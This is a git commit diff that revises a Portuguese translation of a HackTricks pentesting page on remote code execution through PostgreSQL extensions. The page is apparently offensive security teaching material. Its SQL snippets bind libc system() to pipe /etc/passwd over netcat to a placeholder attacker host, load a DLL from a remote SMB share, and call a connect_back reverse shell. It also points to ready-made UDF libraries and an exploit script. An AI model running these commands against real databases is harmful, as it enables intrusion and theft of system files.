mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 07:31:10 +00:00
Translated ['pentesting-web/sql-injection/postgresql-injection/rce-with-
This commit is contained in:
parent
1b11ab5a1d
commit
04b81a8058
1 changed files with 14 additions and 12 deletions
|
@ -1,10 +1,10 @@
|
||||||
# RCE com Extensões do PostgreSQL
|
# RCE com Extensões PostgreSQL
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
@ -12,19 +12,19 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Extensões do PostgreSQL
|
## Extensões PostgreSQL
|
||||||
|
|
||||||
O PostgreSQL foi desenvolvido com a extensibilidade como uma característica central, permitindo a integração perfeita de extensões como se fossem funcionalidades nativas. Essas extensões, essencialmente bibliotecas escritas em C, enriquecem o banco de dados com funções, operadores ou tipos adicionais.
|
O PostgreSQL foi desenvolvido com a extensibilidade como uma característica central, permitindo a integração perfeita de extensões como se fossem funcionalidades nativas. Essas extensões, essencialmente bibliotecas escritas em C, enriquecem o banco de dados com funções, operadores ou tipos adicionais.
|
||||||
|
|
||||||
A partir da versão 8.1, é imposto um requisito específico às bibliotecas de extensão: elas devem ser compiladas com um cabeçalho especial. Sem isso, o PostgreSQL não as executará, garantindo que apenas extensões compatíveis e potencialmente seguras sejam utilizadas.
|
A partir da versão 8.1, é imposto um requisito específico às bibliotecas de extensão: elas devem ser compiladas com um cabeçalho especial. Sem isso, o PostgreSQL não as executará, garantindo que apenas extensões compatíveis e potencialmente seguras sejam utilizadas.
|
||||||
|
|
||||||
Além disso, tenha em mente que **se você não souber como** [**fazer upload de arquivos para a vítima abusando do PostgreSQL, você deve ler este post.**](big-binary-files-upload-postgresql.md)
|
Além disso, tenha em mente que **se você não souber como** [**enviar arquivos para a vítima abusando do PostgreSQL, você deve ler este post.**](big-binary-files-upload-postgresql.md)
|
||||||
|
|
||||||
### RCE no Linux
|
### RCE no Linux
|
||||||
|
|
||||||
**Para mais informações, confira: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
**Para mais informações, acesse: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||||
|
|
||||||
A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo claramente documentado e direto. É possível utilizar este: [módulo Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo claramente documentado e direto. É possível usar este: [módulo Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||||
|
@ -91,7 +91,7 @@ Este erro é explicado na [documentação do PostgreSQL](https://www.postgresql.
|
||||||
> `PG_MODULE_MAGIC;`\
|
> `PG_MODULE_MAGIC;`\
|
||||||
> `#endif`
|
> `#endif`
|
||||||
|
|
||||||
Desde a versão 8.2 do PostgreSQL, o processo para um atacante explorar o sistema foi tornando-se mais desafiador. O atacante precisa utilizar uma biblioteca que já está presente no sistema ou fazer upload de uma biblioteca personalizada. Esta biblioteca personalizada deve ser compilada contra a versão principal compatível do PostgreSQL e deve incluir um "bloco mágico" específico. Essa medida aumenta significativamente a dificuldade de explorar sistemas PostgreSQL, pois exige um entendimento mais profundo da arquitetura do sistema e da compatibilidade de versão.
|
Desde a versão 8.2 do PostgreSQL, o processo para um atacante explorar o sistema foi tornando-se mais desafiador. O atacante é obrigado a utilizar uma biblioteca que já está presente no sistema ou fazer upload de uma biblioteca personalizada. Esta biblioteca personalizada deve ser compilada contra a versão principal compatível do PostgreSQL e deve incluir um "bloco mágico" específico. Essa medida aumenta significativamente a dificuldade de explorar sistemas PostgreSQL, pois exige um entendimento mais profundo da arquitetura do sistema e da compatibilidade de versão.
|
||||||
|
|
||||||
#### Compilar a biblioteca
|
#### Compilar a biblioteca
|
||||||
|
|
||||||
|
@ -265,11 +265,13 @@ Observe como, neste caso, o **código malicioso está dentro da função DllMain
|
||||||
```c
|
```c
|
||||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||||
```
|
```
|
||||||
|
O [projeto PolyUDF](https://github.com/rop-la/PolyUDF) também é um bom ponto de partida com o projeto completo do MS Visual Studio e uma biblioteca pronta para uso (incluindo: _command eval_, _exec_ e _cleanup_) com suporte a múltiplas versões.
|
||||||
|
|
||||||
### RCE nas versões mais recentes do PostgreSQL
|
### RCE nas versões mais recentes do PostgreSQL
|
||||||
|
|
||||||
Nas **últimas versões** do PostgreSQL, foram impostas restrições onde o `superusuário` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios são **protegidos** contra operações de escrita pelos usuários NETWORK\_SERVICE ou postgres.
|
Nas **últimas versões** do PostgreSQL, restrições foram impostas onde o `superusuário` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios são **protegidos** contra operações de escrita pelo NETWORK\_SERVICE ou pelas contas postgres.
|
||||||
|
|
||||||
Apesar dessas restrições, é possível para um `superusuário` autenticado no banco de dados **escrever arquivos binários** no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à escrita dentro do diretório `C:\Program Files\PostgreSQL\11\data`, que é essencial para operações de banco de dados como atualização ou criação de tabelas.
|
Apesar dessas restrições, é possível para um `superusuário` autenticado do banco de dados **escrever arquivos binários** no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à escrita dentro do diretório `C:\Program Files\PostgreSQL\11\data`, que é essencial para operações de banco de dados como atualização ou criação de tabelas.
|
||||||
|
|
||||||
Uma vulnerabilidade significativa surge do comando `CREATE FUNCTION`, que **permite a travessia de diretórios** para o diretório de dados. Consequentemente, um atacante autenticado poderia **explorar essa travessia** para escrever um arquivo de biblioteca compartilhada no diretório de dados e então **carregá-lo**. Essa exploração permite que o atacante execute código arbitrário, alcançando a execução de código nativo no sistema.
|
Uma vulnerabilidade significativa surge do comando `CREATE FUNCTION`, que **permite a travessia de diretórios** para o diretório de dados. Consequentemente, um atacante autenticado poderia **explorar essa travessia** para escrever um arquivo de biblioteca compartilhada no diretório de dados e então **carregá-lo**. Essa exploração permite que o atacante execute código arbitrário, alcançando a execução de código nativo no sistema.
|
||||||
|
|
||||||
|
@ -281,7 +283,7 @@ Primeiramente, você precisa **usar objetos grandes para fazer upload do dll**.
|
||||||
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
|
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Uma vez que você tenha carregado a extensão (com o nome de poc.dll para este exemplo) no diretório de dados, você pode carregá-la com:
|
Depois de ter carregado a extensão (com o nome de poc.dll para este exemplo) no diretório de dados, você pode carregá-la com:
|
||||||
```c
|
```c
|
||||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||||
select connect_back('192.168.100.54', 1234);
|
select connect_back('192.168.100.54', 1234);
|
||||||
|
@ -289,7 +291,7 @@ select connect_back('192.168.100.54', 1234);
|
||||||
_Nota que não é necessário adicionar a extensão `.dll`, pois a função create irá adicioná-la._
|
_Nota que não é necessário adicionar a extensão `.dll`, pois a função create irá adicioná-la._
|
||||||
|
|
||||||
Para mais informações, **leia a** [**publicação original aqui**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
Para mais informações, **leia a** [**publicação original aqui**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||||
Naquela publicação, **este foi o** [**código usado para gerar a extensão do postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender como compilar uma extensão do postgres, leia qualquer uma das versões anteriores_).\
|
Naquela publicação, **este foi o** [**código usado para gerar a extensão postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender como compilar uma extensão postgres, leia qualquer uma das versões anteriores_).\
|
||||||
Na mesma página, este **exploit para automatizar** essa técnica foi fornecido:
|
Na mesma página, este **exploit para automatizar** essa técnica foi fornecido:
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
|
|
Loading…
Reference in a new issue